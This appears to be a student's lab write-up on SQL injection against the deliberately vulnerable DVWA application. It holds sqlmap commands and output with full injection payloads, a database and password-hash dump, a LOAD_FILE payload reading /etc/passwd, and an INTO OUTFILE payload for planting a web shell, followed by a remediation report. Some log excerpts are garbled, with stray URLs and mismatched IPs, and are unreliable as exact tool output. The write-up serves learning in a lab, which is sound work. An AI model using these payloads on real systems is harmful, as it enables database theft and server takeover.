

## Introduction:

SQL Injection is a cybersecurity activity I have heard of since I began studying. Now I finally get to attempt SQL injection myself in this lab. It is one of the most critical web application security vulnerabilities and for cybersecurity professionals understanding it is essential for pen testing, security assessments, and incident response. SQL Injection allows attackers to manipulate database queries, potentially leading to data theft, authentication bypass, and complete system compromise.

By the end of this lab, I will be able to understand basic SQL database and syntax, identify SQL injection vulnerabilities, execute manual SQL injection attacks, utilize SQLMap for automated exploitation, extract sensitive information from database, and assess business impact of SQL injection vulnerabilities. In the end, I will tie this all together to apply professional penetration methodology to database security.

Also, we collect the password hash for each user

### Exercise: Automated SQL Injection with SQLMap

Basic SQLMap usage, creating request.

```
(cyberjackson㉿kali-attacker)-[~/cybersec-labs/sql-injection-lab]
$ cat request2.txt
GET /dwva/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: 10.0.2.4
Cookie: PHPSESSID=89f475eaf809f321c9b73571198b18f4; security=low
```

SQLMap vulnerability detections, running request

```
(cyberjackson㉿kali-attacker)-[~/cybersec-labs/sql-injection-lab]
$ sqlmap -r request2.txt --batch
[1] [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:43:06 /2025-11-12

[15:43:06] [INFO] parsing HTTP request from 'request2.txt'
[15:43:06] [INFO] testing connection to the target URL
[15:43:06] [INFO] checking if the target is protected by some kind of WAF/IPS
[15:43:06] [INFO] testing if the target URL content is stable
[15:43:07] [INFO] testing if the URL content is stable
[15:43:07] [INFO] testing if GET parameter 'id' is dynamic
[15:43:07] [WARNING] GET parameter 'id' does not appear to be dynamic
[15:43:07] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[15:43:07] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[15:43:07] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[15:43:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:43:07] [WARNING] reflective value(s) found and filtering out
[15:43:07] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:43:07] [INFO] testing 'Generic inline queries'
[15:43:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
```

```
[15:43:23] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 160 HTTP(s) requests:
Parameter: id (GET)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
  Payload: id='1 OR NOT 6231#&Submit=Submit
Request
  Type: error-based
  Title: MySQL ≥ 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: id='1 AND ROW(4897,926)>SELECT COUNT(*),CONCAT(0x716b7a7a71,(SELECT (ELT(4897=4897,1))),0x7162766a71,FLOOR(RAND(0)*2))x FROM (SELECT 6213 UNION SELECT 7333 UNION SELECT 9792)a GROUP BY x)-- cxhZ&Submit=Submit
  Type: time-based blind
  Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
  Payload: id='1 AND (SELECT 6185 FROM (SELECT(SLEEP(5)))kbqc)-- SJZE&Submit=Submit
  Type: UNION query
  Title: MySQL UNION query (NULL) - 2 columns
  Payload: id='1 UNION ALL SELECT NULL,CONCAT(0x716b7a7a71,0x666a7a704e41794a50635841625a517069586f707a704453665a684268734971544a6f717a586f6b,0x7162766a71)#&Submit=Submit
[15:43:23] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL ≥ 4.1
[15:43:23] [INFO] fetched data logged to text files under '/home/cyberjackson/.local/share/sqlmap/output/10.0.2.5'
[*] ending @ 15:43:23 /2025-11-12/
          sqlmap -u "http://192.168.1.101/dvwa/vulnerabilities/sql1/?id=1&Submit=Submit" \
                  --cookie="PHPSESSID=your_session_id; security=low" \
```

\*\*Note it is doing similar vulnerability scanning as we did earlier in the lab

## Database enumeration with SQLMap

```
[cyberJackson@kali-attacker:~/cybersec-labs/sql-injection-lab]$ sqlmap -r request2.txt --dbms --batch
[15:45:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL ≥ 4.1
[15:45:16] [INFO] parsing HTTP request from 'request2.txt'
[15:45:16] [INFO] resuming back-end DBMS 'mysql'
[15:45:16] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
  Payload: id='1 OR NOT 6231#&Submit=Submit
  Type: error-based
  Title: MySQL ≥ 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: id='1 AND ROW(4897,926)>SELECT COUNT(*),CONCAT(0x716b7a7a71,(SELECT (ELT(4897=4897,1))),0x7162766a71,FLOOR(RAND(0)*2))x FROM (SELECT 6213 UNION SELECT 7333 UNION SELECT 9792)a GROUP BY x)-- cxhZ&Submit=Submit
  Type: time-based blind
  Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
  Payload: id='1 AND (SELECT 6185 FROM (SELECT(SLEEP(5)))kbqc)-- SJZE&Submit=Submit
  Type: UNION query
  Title: MySQL UNION query (NULL) - 2 columns
  Payload: id='1 UNION ALL SELECT NULL,CONCAT(0x716b7a7a71,0x666a7a704e41794a50635841625a517069586f707a704453665a684268734971544a6f717a586f6b,0x7162766a71)#&Submit=Submit
[15:45:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL ≥ 4.1
[15:45:17] [INFO] fetching database names
[15:45:17] [WARNING] reflective value(s) found and filtering out
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195
[15:45:17] [INFO] fetched data logged to text files under '/home/cyberjackson/.local/share/sqlmap/output/10.0.2.5'
[*] ending @ 15:45:17 /2025-11-12/
          sqlmap -u "http://192.168.1.101/dvwa/vulnerabilities/sql1/?
```

Found 7 databases

## Get tables in current database

```
(cyberjackson@kali-attacker) [~/cybersec-labs/sql-injection-lab]
$ sqlmap -r request2.txt -D dvwa --tables --batch
[15:47:12] [INFO] testing connection to the target URL https://sqlmap.org
[15:47:12] [INFO] the back-end DBMS is MySQL
[15:47:12] [INFO] fetching tables for database: 'dvwa'
[15:47:12] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[2 tables]
+-----+
| guestbook | issues
| users      |
+-----+  
[*] ending @ 15:47:36 /2025-11-12/
```

The screenshot shows the sqlmap interface with the command line at the top and a detailed log below. The log output shows the detection of the MySQL DBMS and the listing of tables in the dvwa database. The interface includes tabs for Request, Response, Status code, Inspector, Selection, and Decoded from.

Found the guestbook and users tables in the dvwa database

Data extraction with SQLMap:

## Getcolumns in users table

```
(cyberjackson㉿kali-attacker) [~/cybersec-labs/sql-injection-lab]
$ sqlmap -r request2.txt -D dvwa -T users --columns --batch
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:49:01 /2025-11-12/
[15:49:01] [INFO] parsing HTTP request from 'request2.txt'
[15:49:01] [INFO] resuming back-end DBMS 'mysql'
[15:49:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=1' OR NOT 6231#&Submit=Submit

Type: error-based
Title: MySQL ≥ 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1' AND ROW(4897,9266)>(SELECT COUNT(*),CONCAT(0x716b7a7a71,(SELECT (ELT(4897=4897,1))),0x7162766a71,FLOOR(RAND(0)*2))x FROM (SELECT 6213 UNION SELECT 9792)a GROUP BY x)-- cxhZ&Submit=Submit

Type: time-based blind
Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 6185 FROM (SELECT(SLEEP(5)))kbQc)-- SJZE&Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x716b7a7a71,0x666a7a704e41794a50635841625a517069586f707a704453665a684268734971544a6f717a586f6b,0x7162766a71)#$S

[15:49:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)

[15:49:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL ≥ 4.1
[15:49:01] [INFO] fetching columns for table 'users' in database 'dvwa'
[15:49:01] [WARNING] reflective value(s) found and filtering out
Database: dvwa
Table: users
  engine: InnoDB
  charset: utf8mb4
  collate: utf8mb4_0900_ai_ci
  rows: 10 0.2.5/dvwa/vulnerabilities/sql1/?id=1%27+UNION+SELECT+user%2Cpassword+FROM+users+--+&Submit=Submit
[6 columns]
+-----+-----+
| Column | Type   |
+-----+-----+
| user_id | int(6) |
| user     | varchar(15) |
| first_name | varchar(15) |
| last_name | varchar(15) |
| password | varchar(32) |
| avatar   | varchar(70) |
+-----+-----+
[15:49:01] [INFO] fetched data logged to text files under '/home/cyberjackson/.local/share/sqlmap/output/10.0.2.5'
sqlmap -u "http://192.168.1.101/dvwa/vulnerabilities/sql1/?id=1&Submit=Submit" \
```

## Dump specific columns

```
(cyberjackson㉿kali-attacker) [~/cybersec-labs/sql-injection-lab]
$ sqlmap -r request2.txt -D dvwa -T users -C user,password --dump --batch

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable laws, regulations, and authorization requirements before using this software.
[!] This is not an official MySQL client. Use at your own risk.
[*] starting @ 15:50:09 /2025-11-12/ https://spocs.getpocket.com/spocs

[15:50:09] [INFO] parsing HTTP request from 'request2.txt'
[15:50:09] [INFO] resuming back-end DBMS 'mysql'
[15:50:09] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
    - [id (GET)] Type: boolean-based blind; HTML/XML application/xml payload
      Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
      Payload: id=1' OR NOT 6231=6231#&Submit=Submit
    - [id (GET)] Type: error-based
      Title: MySQL ≥ 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
      Payload: id=1' AND ROW(4897,9266)>(SELECT COUNT(*),CONCAT(0x716b7a7a71,(SELECT (ELT(4897=4897,1))),0x7162766a71,FLOOR(RAND(0)*2))x FROM (SELECT 9792)a GROUP BY x)-- cxhZ&Submit=Submit
    - [id (GET)] Type: time-based blind
      Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
      Payload: id=1' AND (SELECT 6185 FROM (SELECT(SLEEP(5)))kbQc)-- SJZE&Submit=Submit
    - [id (GET)] Type: UNION query
      Title: MySQL UNION query (NULL) - 2 columns
      Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x716b7a7a71,0x666a7a704e41794a50635841625a517069586f707a704453665a684268734971544a6f717a586f6b,0x
[15:50:10] [INFO] cracked password 'charley' for hash '8d353d75aae2c3966d7e0d4fcc69216b'
[15:50:10] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99':5f4dcc3b5aa765d61d8327deb882cf99
Database: dvwa
Table: users
[5 entries]
+-----+-----+
| user | password |
+-----+-----+
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| gordonb | e99a18c428cb38df260853678922e03 (abc123) |
| 1337 | 8d353d75aae2c3966d7e0d4fcc69216b (charley) |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+-----+-----+
[15:50:23] [INFO] table 'dvwa.users' dumped to CSV file '/home/cyberjackson/.local/share/sqlmap/output/10.0.2.5/dump/dvwa/users.csv'
[15:50:23] [INFO] fetched data logged to text files under '/home/cyberjackson/.local/share/sqlmap/output/10.0.2.5'

[*] ending @ 15:50:23 /2025-11-12/
```

\*\*\*Note: It actually cracked the password hashes!!!!

*Excercise: Advanced Injection Techniques*

*Database specific payloads*

Input: 1' UNION SELECT LOAD\_FILE('/etc/passwd'),NULL --

The screenshot shows the DVWA SQL Injection (Blind) module. On the left is a sidebar with links: Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, SQL Injection (Blind) (which is highlighted in green), Upload, XSS reflected, XSS stored, DVWA Security, PHP Info, About, and Logout. The main area has a title "Vulnerability: SQL Injection (Blind)". Below it is a "User ID:" label with an input field and a "Submit" button. The output area contains the following text:

```
ID: 1' UNION SELECT LOAD_FILE('/etc/passwd'),NULL --
First name: admin
Surname: admin

ID: 1' UNION SELECT LOAD_FILE('/etc/passwd'),NULL --
First name: root:x:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101:/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
```

Shows us the file paths of the host machine

With: 1' UNION SELECT 'shell code',NULL INTO OUTFILE '/var/www/shell.php' - you can create a shell attached to the host machine.

The screenshot shows the DVWA Password Security Analysis module. On the left is a sidebar with links: Upload, XSS reflected, XSS stored, DVWA Security, PHP Info, and About. The main area has a title "HASH 3 (pawt0). letmein". Below it is a "PASSWORD SECURITY ANALYSIS:" section. It lists "Cracked passwords:" and "Password policy weaknesses identified:". The "Cracked passwords:" list includes:

- admin: password
- gordonb: abc123
- hackme: letmein echo
- hackme: letmein echo

The "Password policy weaknesses identified:" list includes:

- No complexity requirements
- Common dictionary words used
- Weak hashing algorithm (MD5)
- No salting implemented

Exercise 8: Professional Reporting and Remediation

## Create executive summary

```
(cyberjackson㉿kali-attacker) [~/cybersec-labs/sql-injection-lab]
$ cat sql_injection_report.md
# SQL Injection Security Assessment Report
  **Assessment Date:** $(date)
  **Tester:** Jackson Miller
  **Target Application:** DVWA SQL Injection Module
  **Vulnerability Type:** SQL Injection (CWE-89)
  **Risk Rating:** CRITICAL
## Executive Summary
A critical SQL injection vulnerability has been identified in the web application that allows unauthorized access to the underlying database.
  - Extract sensitive user credentials and personal information
  - Bypass authentication mechanisms
  - Potentially execute arbitrary commands on the database server
  - Compromise data integrity and availability
  **Immediate Action Required:** This vulnerability poses an immediate threat to data security and regulatory compliance.
## Technical Findings
### Vulnerability Details
  **Location:** User ID parameter in SQL injection testing interface
  **Method:** GET parameter injection
  **Database:** MySQL (version extracted via injection)
  **Injection Type:** Union-based SQL injection
### Proof of Concept
The following payload demonstrates complete database compromise:
  ``Input: 1' UNION SELECT user,password FROM users -- Result: All user credentials extracted successfully`` ...
### Impact Assessment
  **Data at Risk:** 
    - User authentication credentials
    - Personal identifiable information (PII) is stored
    - System configuration data
    - Database schema information
  **Business Impact:** 
    - Complete user account compromise
    - Regulatory compliance violations (GDPR, PCI-DSS)
    - Reputational damage from data breach
    - Potential legal liability
### Root Cause Analysis
The vulnerability exists due to:
1. Lack of input validation on user-supplied data
2. Direct concatenation of user input into SQL queries
3. Insufficient database access controls
  4. Absence of parameterized queries/prepared statements
### Remediation Recommendations
#### Immediate Actions (24-48 hours)
1. **Input Validation:** Implement strict input validation for all user-supplied data
2. **Parameterized Queries:** Replace dynamic SQL with prepared statements
3. **Database Permissions:** Apply principle of least privilege to database accounts
4. **WAF Deployment:** Deploy web application firewall as temporary protection
#### Short-term Actions (1-2 weeks)
1. **Code Review:** Conduct comprehensive security code review
2. **Security Testing:** Implement automated security testing in CI/CD pipeline
3. **Error Handling:** Implement proper error handling to prevent information disclosure
4. **Monitoring:** Deploy database activity monitoring and alerting
#### Long-term Actions (1-3 months)
1. **Security Training:** Provide secure coding training for development team
2. **SDLC Integration:** Integrate security requirements into development lifecycle
3. **Regular Testing:** Establish regular penetration testing schedule
4. **Security Architecture:** Review and enhance overall security architecture
## Technical Appendix
### Tools Used
  - Burp Suite Professional
  - SQLMap automation framework
  - Manual testing techniques
  - Hash cracking utilities
### Evidence Files
  - Extracted database contents
  - HTTP request/response traces
  - SQLMap output logs
  - Password hash analysis results
EOF
```

The screenshot shows two terminal windows side-by-side. The left window displays the generated SQL injection report in a structured text format. The right window shows the DVWA (Damn Vulnerable Web Application) interface, specifically the 'SQL Injection (Blind)' section. It features a 'User ID:' input field with a placeholder '1' and a 'Submit' button. Below the input field, there's a 'More info' link. The DVWA interface also includes navigation links like 'Home', 'Instructions', 'Brute Force', 'File Inclusion', and 'Logout'. The background of the DVWA interface has a watermark-like overlay with the text 'Vulnerability: SQL Injection (Blind)' and 'Vulnerability: SQL Injection'.

**Conclusion:**

This lab was a hands on and in depth delve into SQL injections. I had a lot of fun with the lab and I found the penetration testing very interesting. After completing this lab I can now understand fundamental SQL database concepts, identify SQL injection vulnerabilities, execute both manual and automated attacks, utilize SQLMap for comprehensive vulnerability assessment, extract database information, assess business impact, apply professional pen testing methodology to database security assessment, and finally document findings and implement secure coding practice to harden databases.

My favorite part of this lab was utilizing SQLMap. It was very exciting when the tool went ahead on its own to crack the five users' password hashes. In all I feel this was another great piece added to my introductory penetration testing/ethical hacking knowledge. SQL Injection being one of the OG vulnerabilities it is about time that I give it a go myself.